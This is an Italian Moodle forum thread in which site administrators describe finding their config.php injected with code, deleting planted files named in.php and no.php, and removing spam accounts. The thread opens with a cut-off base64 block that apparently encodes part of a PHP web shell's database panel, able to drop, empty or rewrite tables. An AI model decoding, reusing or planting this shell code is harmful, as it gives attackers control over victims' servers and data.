mQgbGVmdCBwYW5lbA0KICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsNCiAgLy9TdGFydCBjZW50ZXIgcGFuZWwNCiAgJGRpcGxheSA9IFRSVUU7DQogIGlmICgkc3FsX2RiKQ0KICB7DQogICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30NCiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30NCiAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRhYmxlKHMpIGluIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsNCiAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsNCiAgICRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsNCiAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICB7DQogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQ0KICAgIHsNCiAgICAgJGtleXMgPSAiIjsNCiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOw0KICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQ0KICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vic3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9DQogICAgICR2YWx1ZXMgPSAiIjsNCiAgICAgJGkgPSAwOw0KICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZhbHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30NCiAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9DQogICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7DQogICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7DQogICAgfQ0KICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpDQogICAgew0KICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsNCiAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0KICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgIH0NCiAgIH0NCiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQ0KICAgew0KICAgICRzcWxfcXVlcnkgPSB1cmxkZWNvZGUoJHNxbF9xdWVyeSk7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQ0KICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9DQogICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVye
In riposta a teresa teresa

Re: Perso editor HTML

di Natalia Visalli -
Anch'io ho rivisto il mio editor HTML grande sorriso

Ho ripulito il file config.php invaso da centinaia di righe di codice in più

Ho trovato nella direcoty di moodle due files che mi sembrano estranei:
in.php vuoto
e no.php pieno di codice strano.



Grazie , sinceramente grazie.

A proposito di comportamenti strani del mio Moodle ho notato che si erano iscritti alla piattaforma tanti utenti strani un poco commerciali o porno.
Li ho cancellati e ho disattivato la possibilità di iscriversi alla piattaforma autonomamente.
Ho anche cambiato il nome alla directory instal

Speriamo bene

Grazie ancora
Natalia

In riposta a Natalia Visalli

Re: Perso editor HTML

di ida taci -
anche io ho trovato in.php vuoto e no.php pieno di codice estraneo, li ho rimossi e tutto è tornato ok dopo aver modificato il config.